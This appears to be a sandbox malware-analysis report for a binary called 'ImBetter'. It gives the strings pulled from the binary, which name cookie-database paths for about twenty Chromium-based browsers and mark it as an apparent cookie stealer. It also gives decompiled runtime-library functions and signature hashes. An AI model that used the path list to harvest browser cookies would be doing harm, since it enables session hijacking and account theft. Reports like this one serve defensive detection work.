YandexCo, xrefs: 00007FF7E6B19EF0
BlackHaCo, xrefs: 00007FF7E6B19FAB
CentBrowser\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19D05
CentCo, xrefs: 00007FF7E6B19D7A
EpicCo, xrefs: 00007FF7E6B1A1C4
BaiduCo, xrefs: 00007FF7E6B1A26D
Torch\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19C4A
FlockCo, xrefs: 00007FF7E6B1A5B6
Opera Software\Opera Stable\Network\Cookies, xrefs: 00007FF7E6B19A19
Epic Browser\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A155
Baidu Spark\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A1FE
Titan Browser\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A4A2
TorchCo, xrefs: 00007FF7E6B19CBF
Go!\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19DC0
BraveCo, xrefs: 00007FF7E6B19B49
CoolNovo\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B1A0AC
Yandex\YandexBrowser\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B19E7B
', xrefs: 00007FF7E6B1A557
Google\Chrome\User Data\Default\Network\Cookies, xrefs: 00007FF7E6B197F4

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_task__std_fs_convert_narrow_to_wide$__std_fs_code_page
String ID: '$?$AcWebBrCo$AcWebBrowser\User Data\Default\Network\Cookies$Baidu Spark\User Data\Default\Network\Cookies$BaiduCo$BlackHaCo$BlackHawk\User Data\Default\Network\Cookies$BraveCo$BraveSoftware\Brave-Browser\User DataDefault\Network\Cookies$CentBrowser\User Data\Default\Network\Cookies$CentCo$ChromeCo$ComodoCo$Comodo\Dragon\User Data\Default\Network\Cookies$CoolNovCo$CoolNovo\User Data\Default\Network\Cookies$EdgeCo$Epic Browser\User Data\Default\Network\Cookies$EpicCo$FlockCo$Flock\User Data\Default\Network\Cookies$Go!Co$Go!\User Data\Default\Network\Cookies$Google\Chrome\User Data\Default\Network\Cookies$Microsoft\Edge\User Data\Default\Network\Cookies$Opera Software\Opera Stable\Network\Cookies$OperaCo$RockMeCo$Rockmelt\User Data\Default\Network\Cookies$SRWare Iron\User Data\Default\Network\Cookies$SRWareCo$SleipnirCo$Sleipnir\User Data\Default\Network\Cookies$Titan Browser\User Data\Default\Network\Cookies$TitanCo$TorchCo$Torch\User Data\Default\Network\Cookies$VivaldiCo$Vivaldi\User Data\Default\Network\Cookies$YandexCo$Yandex\YandexBrowser\User Data\Default\Network\Cookies$~
API String ID: 2277398295-3667207178
Opcode ID: 7824765f821982a983e353c0466952a0b92f42c0fdf079473003204bf6473a71
Instruction ID: d76527130d45182e0a953f79a466ea4ae23ed1ab4def720b494e81e1fb2721c9
Opcode Fuzzy Hash: 7824765f821982a983e353c0466952a0b92f42c0fdf079473003204bf6473a71
Instruction Fuzzy Hash: A0A25622928AC695E760EF34DC453EAB720FF9434CF905232E68D4695AEF78E385C741

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B319F0 Relevance: 10.8, APIs: 7, Instructions: 286
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 58%

			E00007FF77FF7E6B319F0(signed int __ecx, void* __esi, signed int* __rax, void* __rcx, long long __rdx, long long __r8, char _a8, long long _a16, intOrPtr _a32) {
				signed int* _v72;
				char _v80;
				signed int _v88;
				signed int* _v96;
				void* _v104;
				signed int _v120;
				void* __rbx;
				void* __rdi;
				signed char _t127;
				signed int _t141;
				int _t150;
				void* _t151;
				void* _t155;
				char _t169;
				char _t170;
				signed int _t174;
				void* _t178;
				void* _t193;
				void* _t194;
				void* _t195;
				unsigned int _t197;
				void* _t200;
				long long _t205;
				signed int* _t241;
				signed long long _t248;
				signed short* _t252;
				signed int* _t254;
				void* _t255;
				signed int* _t256;
				intOrPtr _t265;
				intOrPtr _t266;
				signed long long _t272;
				void* _t279;
				long long _t284;
				unsigned long long _t285;
				signed short* _t287;
				signed long long _t290;
				signed long long _t291;
				signed short* _t295;
				signed short* _t297;
				unsigned long long _t299;
				signed long long _t300;
				signed int* _t302;
				char* _t303;
				char* _t304;

				_t284 = __r8;
				_a16 = __rdx;
				r13d = r8d;
				if (r12d != 0xfffffffe) goto 0xe6b31a2b;
				E00007FF77FF7E6B29CC4(__rax);
				 *__rax =  *__rax & 0x00000000;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 9;
				goto 0xe6b31e27;
				if (__ecx < 0) goto 0xe6b31e0f;
				_t200 = r12d -  *0xe6b6d1b0; // 0x40
				if (_t200 >= 0) goto 0xe6b31e0f;
				r8d = 1;
				_v80 = __r8;
				_t290 = __ecx >> 6;
				_v88 = _t290;
				_t300 = __ecx + __ecx * 8;
				_t265 =  *((intOrPtr*)(0xe6b6cdb0 + _t290 * 8));
				if ((r8b &  *(_t265 + 0x38 + _t300 * 8)) == 0) goto 0xe6b31e0f;
				if (r13d - 0x7fffffff <= 0) goto 0xe6b31a9b;
				E00007FF77FF7E6B29CC4(__ecx);
				 *__ecx =  *__ecx & 0x00000000;
				_t127 = E00007FF77FF7E6B29CE4(__ecx);
				 *__ecx = 0x16;
				goto 0xe6b31e22;
				if (r13d == 0) goto 0xe6b31e0b;
				if ((_t127 & 0x00000002) != 0) goto 0xe6b31e0b;
				_t205 = __rdx;
				if (_t205 == 0) goto 0xe6b31a83;
				r11d =  *((char*)(_t265 + 0x39 + _t300 * 8));
				_t241 =  *((intOrPtr*)(_t265 + 0x28 + _t300 * 8));
				_v96 = _t241;
				_a8 = r11b;
				_t23 = _t255 + 4; // 0x4
				r15d = _t23;
				if (_t205 == 0) goto 0xe6b31b0a;
				if (r11d - r8d != r8d) goto 0xe6b31b02;
				if ((r8b &  !r13d) != 0) goto 0xe6b31b02;
				E00007FF77FF7E6B29CC4(_t241);
				 *_t241 =  *_t241 & 0;
				E00007FF77FF7E6B29CE4(_t241);
				 *_t241 = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b31c99;
				goto 0xe6b31b89;
				if ((r8b &  !r13d) == 0) goto 0xe6b31ae6;
				_t193 =  <  ? r15d : r13d >> 1;
				E00007FF77FF7E6B29D40(_t241, __rcx);
				_t256 = _t241;
				E00007FF77FF7E6B29D04(_t241, __rcx);
				E00007FF77FF7E6B29D04(_t241, __rcx);
				_t302 = _t256;
				if (_t256 != 0) goto 0xe6b31b5b;
				E00007FF77FF7E6B29CE4(_t241);
				 *_t241 = 0xc;
				E00007FF77FF7E6B29CC4(_t241);
				 *_t241 = 8;
				goto 0xe6b31c99;
				_t28 = _t265 + 1; // 0x1
				r8d = _t28;
				E00007FF77FF7E6B320B4(_t178, _t241, _t256, 0xe6b6cdb0, _t279);
				_t291 = _v88;
				r8d = 1;
				r11b = _a8;
				 *( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x30 + _t300 * 8) = _t241;
				_t266 =  *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8));
				_v72 = _t302;
				r10d = 0x7ff7e6b6cdba;
				if (( *(_t266 + 0x38 + _t300 * 8) & 0x00000048) == 0) goto 0xe6b31c21;
				_t141 =  *((intOrPtr*)(_t266 + 0x3a + _t300 * 8));
				if (_t141 == r10b) goto 0xe6b31c21;
				if (_t193 == 0) goto 0xe6b31c21;
				 *_t302 = _t141;
				_t303 = _t302 + _t284;
				_t194 = _t193 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x3a + _t300 * 8)) = r10b;
				if (r11b == 0) goto 0xe6b31c21;
				_t169 =  *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x3b + _t300 * 8));
				if (_t169 == r10b) goto 0xe6b31c21;
				if (_t194 == 0) goto 0xe6b31c21;
				 *_t303 = _t169;
				_t304 = _t303 + _t284;
				_t195 = _t194 - 1;
				 *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x3b + _t300 * 8)) = r10b;
				if (r11b != r8b) goto 0xe6b31c21;
				_t170 =  *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x3c + _t300 * 8));
				if (_t170 == r10b) goto 0xe6b31c21;
				if (_t195 == 0) goto 0xe6b31c21;
				 *_t304 = _t170;
				 *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8)) + 0x3c + _t300 * 8)) = r10b;
				if (E00007FF77FF7E6B37CB0(r12d,  *((intOrPtr*)(0xe6b6cdb0 + _t291 * 8))) == 0) goto 0xe6b31cb7;
				_t248 =  *((intOrPtr*)(0xe6b6cdb0 + _v88 * 8));
				if ( *((char*)(_t248 + 0x38 + _t300 * 8)) >= 0) goto 0xe6b31cb7;
				if (GetConsoleMode(??, ??) == 0) goto 0xe6b31cb7;
				if (_a8 != 2) goto 0xe6b31cbc;
				_v120 = _v120 & 0x00000000;
				_t197 = _t195 - 1 >> 1;
				r8d = _t197;
				if (ReadConsoleW(??, ??, ??, ??, ??) != 0) goto 0xe6b31cab;
				E00007FF77FF7E6B29C58(GetLastError(), _t248, _v96);
				E00007FF77FF7E6B29D04(_t248, _t256);
				goto 0xe6b31e2a;
				goto 0xe6b31cf8;
				_v80 = 0;
				_v120 = _v120 & 0x00000000;
				r8d = _t197;
				_t150 = ReadFile(??, ??, ??, ??, ??); // executed
				if (_t150 == 0) goto 0xe6b31dd5;
				if (_a32 - r13d > 0) goto 0xe6b31dd5;
				if ( *((char*)( *((intOrPtr*)(0xe6b6cdb0 + _v88 * 8)) + 0x38 + _t300 * 8)) >= 0) goto 0xe6b31c9c;
				_t285 = 0xe6b6cdb0 + _t248 * 2 + _a32;
				if (_a8 == 2) goto 0xe6b31d43;
				_t272 = _t304 + _t284;
				_v120 = _t299 >> 1;
				_t151 = E00007FF77FF7E6B31600(_t150, 0, r12d, __esi, _t256, _t272, _t285, _a16);
				goto 0xe6b31c9c;
				if (_v80 == 0) goto 0xe6b31dc3;
				_t297 = _v72;
				_t252 = _t297;
				_t295 =  &(_t297[_t285 >> 1]);
				if (_t297 - _t295 >= 0) goto 0xe6b31db6;
				r11d = 0xa;
				_t174 =  *_t252 & 0x0000ffff;
				if (_t174 == 0x1a) goto 0xe6b31dab;
				if (_t174 != 0xd) goto 0xe6b31d91;
				_t287 =  &(_t252[1]);
				if (_t287 - _t295 >= 0) goto 0xe6b31d91;
				if ( *_t287 != r11w) goto 0xe6b31d91;
				r8d = 4;
				goto 0xe6b31d97;
				r8d = 2;
				 *_t297 = r11w & 0xffffffff;
				if (_t252 + _t287 - _t295 < 0) goto 0xe6b31d67;
				goto 0xe6b31db6;
				_t254 =  *((intOrPtr*)(0xe6b6cdb0 + _t272 * 8));
				 *(_t254 + 0x38 + _t300 * 8) =  *(_t254 + 0x38 + _t300 * 8) | 0x00000002;
				goto 0xe6b31c9c;
				E00007FF77FF7E6B31428(_t151, r12d, _t197, _v72,  &(_t297[1]));
				goto 0xe6b31d3c;
				if (GetLastError() != 5) goto 0xe6b31dfb;
				E00007FF77FF7E6B29CE4(_t254);
				 *_t254 = 9;
				_t155 = E00007FF77FF7E6B29CC4(_t254);
				 *_t254 = 5;
				goto 0xe6b31c99;
				if (_t155 != 0x6d) goto 0xe6b31c92;
				goto 0xe6b31c9c;
				goto 0xe6b31e2a;
				E00007FF77FF7E6B29CC4(_t254);
				 *_t254 =  *_t254 & 0x00000000;
				E00007FF77FF7E6B29CE4(_t254);
				 *_t254 = 9;
				return E00007FF77FF7E6B25994() | 0xffffffff;
			}

0x7ff7e6b319f0
0x7ff7e6b319f0
0x7ff7e6b31a0a
0x7ff7e6b31a11
0x7ff7e6b31a13
0x7ff7e6b31a18
0x7ff7e6b31a1b
0x7ff7e6b31a20
0x7ff7e6b31a26
0x7ff7e6b31a2d
0x7ff7e6b31a33
0x7ff7e6b31a3a
0x7ff7e6b31a4d
0x7ff7e6b31a56
0x7ff7e6b31a5b
0x7ff7e6b31a5f
0x7ff7e6b31a64
0x7ff7e6b31a68
0x7ff7e6b31a74
0x7ff7e6b31a81
0x7ff7e6b31a83
0x7ff7e6b31a88
0x7ff7e6b31a8b
0x7ff7e6b31a90
0x7ff7e6b31a96
0x7ff7e6b31a9e
0x7ff7e6b31aa6
0x7ff7e6b31aac
0x7ff7e6b31aaf
0x7ff7e6b31ab1
0x7ff7e6b31ab9
0x7ff7e6b31ac1
0x7ff7e6b31ac6
0x7ff7e6b31ace
0x7ff7e6b31ace
0x7ff7e6b31ad5
0x7ff7e6b31ada
0x7ff7e6b31ae4
0x7ff7e6b31ae6
0x7ff7e6b31aeb
0x7ff7e6b31aed
0x7ff7e6b31af2
0x7ff7e6b31af8
0x7ff7e6b31afd
0x7ff7e6b31b08
0x7ff7e6b31b12
0x7ff7e6b31b1c
0x7ff7e6b31b22
0x7ff7e6b31b29
0x7ff7e6b31b2c
0x7ff7e6b31b33
0x7ff7e6b31b38
0x7ff7e6b31b3e
0x7ff7e6b31b40
0x7ff7e6b31b45
0x7ff7e6b31b4b
0x7ff7e6b31b50
0x7ff7e6b31b56
0x7ff7e6b31b60
0x7ff7e6b31b60
0x7ff7e6b31b64
0x7ff7e6b31b69
0x7ff7e6b31b6e
0x7ff7e6b31b74
0x7ff7e6b31b80
0x7ff7e6b31b85
0x7ff7e6b31b8b
0x7ff7e6b31b96
0x7ff7e6b31b9a
0x7ff7e6b31ba0
0x7ff7e6b31ba8
0x7ff7e6b31bac
0x7ff7e6b31bae
0x7ff7e6b31bbc
0x7ff7e6b31bbf
0x7ff7e6b31bc4
0x7ff7e6b31bcc
0x7ff7e6b31bd2
0x7ff7e6b31bda
0x7ff7e6b31bde
0x7ff7e6b31be0
0x7ff7e6b31beb
0x7ff7e6b31bee
0x7ff7e6b31bf0
0x7ff7e6b31bf8
0x7ff7e6b31bfe
0x7ff7e6b31c06
0x7ff7e6b31c0a
0x7ff7e6b31c0c
0x7ff7e6b31c1c
0x7ff7e6b31c2b
0x7ff7e6b31c3d
0x7ff7e6b31c47
0x7ff7e6b31c5b
0x7ff7e6b31c65
0x7ff7e6b31c74
0x7ff7e6b31c7d
0x7ff7e6b31c7f
0x7ff7e6b31c8a
0x7ff7e6b31c94
0x7ff7e6b31c9f
0x7ff7e6b31ca6
0x7ff7e6b31cb5
0x7ff7e6b31cb7
0x7ff7e6b31cc9
0x7ff7e6b31ccf
0x7ff7e6b31cd5
0x7ff7e6b31cdd
0x7ff7e6b31ceb
0x7ff7e6b31d0f
0x7ff7e6b31d19
0x7ff7e6b31d1c
0x7ff7e6b31d2c
0x7ff7e6b31d32
0x7ff7e6b31d37
0x7ff7e6b31d3e
0x7ff7e6b31d4b
0x7ff7e6b31d4d
0x7ff7e6b31d52
0x7ff7e6b31d58
0x7ff7e6b31d5f
0x7ff7e6b31d61
0x7ff7e6b31d67
0x7ff7e6b31d6e
0x7ff7e6b31d74
0x7ff7e6b31d76
0x7ff7e6b31d7d
0x7ff7e6b31d83
0x7ff7e6b31d89
0x7ff7e6b31d8f
0x7ff7e6b31d91
0x7ff7e6b31d9a
0x7ff7e6b31da7
0x7ff7e6b31da9
0x7ff7e6b31dab
0x7ff7e6b31db0
0x7ff7e6b31dbe
0x7ff7e6b31dcb
0x7ff7e6b31dd0
0x7ff7e6b31dde
0x7ff7e6b31de0
0x7ff7e6b31de5
0x7ff7e6b31deb
0x7ff7e6b31df0
0x7ff7e6b31df6
0x7ff7e6b31dfe
0x7ff7e6b31e06
0x7ff7e6b31e0d
0x7ff7e6b31e0f
0x7ff7e6b31e14
0x7ff7e6b31e17
0x7ff7e6b31e1c
0x7ff7e6b31e39

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B31E22

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 1d09e9e90a04341751e9ea61d707b1b782038bf2a1e6009d53b23f0c96e6ed72
Instruction ID: 30e5e81ae424eae51c4170b2abe0790a3a4c0bf9693a4a9d0aceb8b1985ebe89
Opcode Fuzzy Hash: 1d09e9e90a04341751e9ea61d707b1b782038bf2a1e6009d53b23f0c96e6ed72
Instruction Fuzzy Hash: 91C1F662B6C68695E750BB1188483BFB7A5FB41B80FE44132DA4D07B81DFBCE454C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B357F8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00007FF77FF7E6B357F8(void* __ecx, void* __edx, long long __rbx, intOrPtr* __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, void* __r8, signed int __r9, void* __r10) {
				intOrPtr _t37;
				int _t38;
				intOrPtr _t49;
				void* _t50;
				void* _t87;
				intOrPtr* _t88;
				intOrPtr* _t90;
				intOrPtr* _t93;
				intOrPtr* _t114;
				intOrPtr* _t118;
				long long _t121;
				void* _t122;
				void* _t124;
				signed long long _t137;
				void* _t138;
				void* _t140;
				int _t142;
				intOrPtr* _t143;
				void* _t145;
				intOrPtr* _t146;

				_t50 = __ecx;
				_t87 = _t124;
				 *((long long*)(_t87 + 8)) = __rbx;
				 *((long long*)(_t87 + 0x10)) = _t121;
				 *((long long*)(_t87 + 0x18)) = __rsi;
				 *((long long*)(_t87 + 0x20)) = __rdi;
				_t122 = __r8;
				_t143 = __rdx;
				_t114 = __rcx;
				E00007FF77FF7E6B2A284(_t87, __rbx, __rcx, __rdx, __rsi, __r9, _t145);
				r12d = 0;
				_t5 = _t87 + 0x98; // 0x98
				_t93 = _t5;
				_t88 = _t114 + 0x80;
				 *((intOrPtr*)(_t93 + 0x10)) = r12d;
				_t8 = _t93 + 0x258; // 0x2f0
				_t146 = _t8;
				 *_t93 = _t114;
				_t9 = _t93 + 8; // 0xa0
				_t118 = _t9;
				 *_t146 = r12w;
				 *_t118 = _t88;
				if ( *_t88 == r12w) goto 0xe6b3586d;
				_t10 = _t140 + 0x16; // 0x16
				E00007FF77FF7E6B3575C(_t10, _t93, 0xe6b51860, _t114, _t118, _t118);
				if ( *((intOrPtr*)( *_t93)) == r12w) goto 0xe6b358c3;
				if ( *((intOrPtr*)( *_t118)) == r12w) goto 0xe6b35886;
				E00007FF77FF7E6B350EC(_t93, _t93, _t118, __r9);
				goto 0xe6b3588b; // executed
				E00007FF77FF7E6B351BC(_t93, _t93, _t118, __r9); // executed
				if ( *((intOrPtr*)(_t93 + 0x10)) != r12d) goto 0xe6b358d2;
				if (E00007FF77FF7E6B3575C(0x40, _t93, 0xe6b51440, _t114, _t118, _t93) == 0) goto 0xe6b358c8;
				_t90 =  *_t118;
				if ( *_t90 == r12w) goto 0xe6b358bc;
				E00007FF77FF7E6B350EC(_t93, _t93, _t93, __r9);
				goto 0xe6b358c8;
				E00007FF77FF7E6B351BC(_t93, _t93, _t93, __r9);
				goto 0xe6b358c8;
				E00007FF77FF7E6B35044(_t50,  *_t90 - r12w, _t93, _t93, _t118, _t93, __r9, __r10);
				if ( *((intOrPtr*)(_t93 + 0x10)) == r12d) goto 0xe6b35a25;
				if ( *_t114 != r12w) goto 0xe6b358ed;
				if ( *((intOrPtr*)(_t114 + 0x100)) != r12w) goto 0xe6b358ed;
				GetACP();
				goto 0xe6b358f5;
				_t37 = E00007FF77FF7E6B3562C(_t50, _t93, _t114 + 0x100, _t93, _t118, _t122, __r9, __r10);
				_t49 = _t37;
				if (_t37 == 0) goto 0xe6b35a25;
				if (_t37 == 0xfde8) goto 0xe6b35a25;
				_t38 = IsValidCodePage(_t142); // executed
				if (_t38 == 0) goto 0xe6b35a25;
				if (_t143 == 0) goto 0xe6b35923;
				 *_t143 = _t49;
				if (_t122 == 0) goto 0xe6b35a1e;
				_t119 = _t122 + 0x120;
				 *((intOrPtr*)(_t122 + 0x120)) = r12w;
				_t137 = (__r9 | 0xffffffff) + 1;
				if ( *((intOrPtr*)(_t146 + _t137 * 2)) != r12w) goto 0xe6b3593b;
				_t138 = _t137 + 1;
				if (E00007FF77FF7E6B34D0C(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140) != 0) goto 0xe6b35a46;
				_t17 = _t90 + 0x40; // 0x40
				r9d = _t17;
				if (E00007FF77FF7E6B2C384(0x1001, E00007FF77FF7E6B34D0C(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122) == 0) goto 0xe6b35a25;
				r9d = 0x40;
				if (E00007FF77FF7E6B2C384(0x1002, E00007FF77FF7E6B2C384(0x1001, E00007FF77FF7E6B34D0C(_t90, _t93, _t122 + 0x120, _t93, _t122 + 0x120, _t146, _t138, _t140), _t90, _t93, _t122 + 0x120, _t122 + 0x120, _t122, _t122), _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0xe6b35a25;
				E00007FF77FF7E6B3F8F4(0x5f, _t122 + 0x80, _t138);
				if (_t90 != 0) goto 0xe6b359c3;
				_t19 = _t90 + 0x2e; // 0x2e
				E00007FF77FF7E6B3F8F4(_t19, _t122 + 0x80, _t138);
				if (_t90 == 0) goto 0xe6b359dc;
				r9d = 0x40;
				_t20 = _t138 - 0x39; // 0x7
				if (E00007FF77FF7E6B2C384(_t20, _t90, _t90, _t93, _t119, _t119, _t122, _t122 + 0x80) == 0) goto 0xe6b35a25;
				if (_t49 != 0xfde9) goto 0xe6b35a0a;
				r9d = 5;
				if (E00007FF77FF7E6B34D0C(_t122 + 0x100, _t93, _t122 + 0x100, _t93, _t119, L"utf8", _t138) != 0) goto 0xe6b35a46;
				goto 0xe6b35a1e;
				r9d = 0xa;
				_t23 = _t138 + 6; // 0x46
				r8d = _t23;
				E00007FF77FF7E6B3A124(_t49);
				goto 0xe6b35a27;
				return 0;
			}

0x7ff7e6b357f8
0x7ff7e6b357f8
0x7ff7e6b357fb
0x7ff7e6b357ff
0x7ff7e6b35803
0x7ff7e6b35807
0x7ff7e6b35815
0x7ff7e6b35818
0x7ff7e6b3581b
0x7ff7e6b3581e
0x7ff7e6b35823
0x7ff7e6b35829
0x7ff7e6b35829
0x7ff7e6b35830
0x7ff7e6b35837
0x7ff7e6b3583b
0x7ff7e6b3583b
0x7ff7e6b35842
0x7ff7e6b35845
0x7ff7e6b35845
0x7ff7e6b35849
0x7ff7e6b3584d
0x7ff7e6b35854
0x7ff7e6b35859
0x7ff7e6b35865
0x7ff7e6b35874
0x7ff7e6b3587d
0x7ff7e6b3587f
0x7ff7e6b35884
0x7ff7e6b35886
0x7ff7e6b3588f
0x7ff7e6b358a7
0x7ff7e6b358a9
0x7ff7e6b358b3
0x7ff7e6b358b5
0x7ff7e6b358ba
0x7ff7e6b358bc
0x7ff7e6b358c1
0x7ff7e6b358c3
0x7ff7e6b358cc
0x7ff7e6b358dd
0x7ff7e6b358e3
0x7ff7e6b358e5
0x7ff7e6b358eb
0x7ff7e6b358f0
0x7ff7e6b358f5
0x7ff7e6b358f9
0x7ff7e6b35904
0x7ff7e6b3590d
0x7ff7e6b35915
0x7ff7e6b3591e
0x7ff7e6b35920
0x7ff7e6b35926
0x7ff7e6b3592c
0x7ff7e6b35937
0x7ff7e6b3593b
0x7ff7e6b35943
0x7ff7e6b35945
0x7ff7e6b3595a
0x7ff7e6b35960
0x7ff7e6b35960
0x7ff7e6b35976
0x7ff7e6b35983
0x7ff7e6b3599b
0x7ff7e6b359a9
0x7ff7e6b359b1
0x7ff7e6b359b3
0x7ff7e6b359b9
0x7ff7e6b359c1
0x7ff7e6b359c3
0x7ff7e6b359cf
0x7ff7e6b359da
0x7ff7e6b359e9
0x7ff7e6b359eb
0x7ff7e6b35a06
0x7ff7e6b35a08
0x7ff7e6b35a0a
0x7ff7e6b35a15
0x7ff7e6b35a15
0x7ff7e6b35a19
0x7ff7e6b35a23
0x7ff7e6b35a45

APIs

Part of subcall function 00007FF7E6B2A284: GetLastError.KERNEL32 ref: 00007FF7E6B2A293
Part of subcall function 00007FF7E6B2A284: FlsGetValue.KERNEL32 ref: 00007FF7E6B2A2A8
Part of subcall function 00007FF7E6B2A284: SetLastError.KERNEL32 ref: 00007FF7E6B2A333

TranslateName.LIBCMT ref: 00007FF7E6B35865
TranslateName.LIBCMT ref: 00007FF7E6B358A0
GetACP.KERNEL32(?,?,?,00000000,00000092,00007FF7E6B2AF4C), ref: 00007FF7E6B358E5
IsValidCodePage.KERNELBASE(?,?,?,00000000,00000092,00007FF7E6B2AF4C), ref: 00007FF7E6B3590D

Strings

utf8, xrefs: 00007FF7E6B359F1

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ErrorLastNameTranslate$CodePageValidValue
String ID: utf8
API String ID: 1791977518-905460609
Opcode ID: df678a3789746846def5b31b6895115663a91e4b180941d17ef6997f64254ff5
Instruction ID: 5bd840d3393163dc9385449f90afa91cb98a2a9035e10f005b1982dfe8436a51
Opcode Fuzzy Hash: df678a3789746846def5b31b6895115663a91e4b180941d17ef6997f64254ff5
Instruction Fuzzy Hash: E8917E32B6874685E724BF21DC513BBB3A5EB44B84FA44132DA4C47A86DFBCE551C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B2C384 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF77FF7E6B2C384(void* __edx, void* __eflags, void* __rax, long long __rbx, void* __rcx, long long __rsi, long long __rbp, void* __r8, long long _a8, long long _a16, long long _a24) {
				void* _t11;
				void* _t22;
				void* _t33;

				_t23 = __rbx;
				_t22 = __rax;
				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				_t11 = r9d;
				_t33 = __rcx;
				E00007FF77FF7E6B2C068(7, __rbx, "GetLocaleInfoEx", __rsi, 0xe6b505e0, "GetLocaleInfoEx");
				if (_t22 == 0) goto 0xe6b2c3e4;
				r9d = _t11;
				 *0xe6b4f3d8(); // executed
				goto 0xe6b2c3fe;
				E00007FF77FF7E6B2C6C4(0, 0, _t22, _t23, _t33);
				r9d = _t11;
				return GetLocaleInfoW(??, ??, ??, ??);
			}

0x7ff7e6b2c384
0x7ff7e6b2c384
0x7ff7e6b2c384
0x7ff7e6b2c389
0x7ff7e6b2c38e
0x7ff7e6b2c398
0x7ff7e6b2c3a7
0x7ff7e6b2c3bd
0x7ff7e6b2c3c5
0x7ff7e6b2c3d1
0x7ff7e6b2c3dc
0x7ff7e6b2c3e2
0x7ff7e6b2c3e9
0x7ff7e6b2c3f0
0x7ff7e6b2c412

APIs

GetLocaleInfoEx.KERNELBASE(?,?,?,?,?,00007FF7E6B2B11E), ref: 00007FF7E6B2C3DC
GetLocaleInfoW.KERNEL32(?,?,?,?,?,00007FF7E6B2B11E), ref: 00007FF7E6B2C3F8

Strings

GetLocaleInfoEx, xrefs: 00007FF7E6B2C3A0, 00007FF7E6B2C3B1

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: InfoLocale
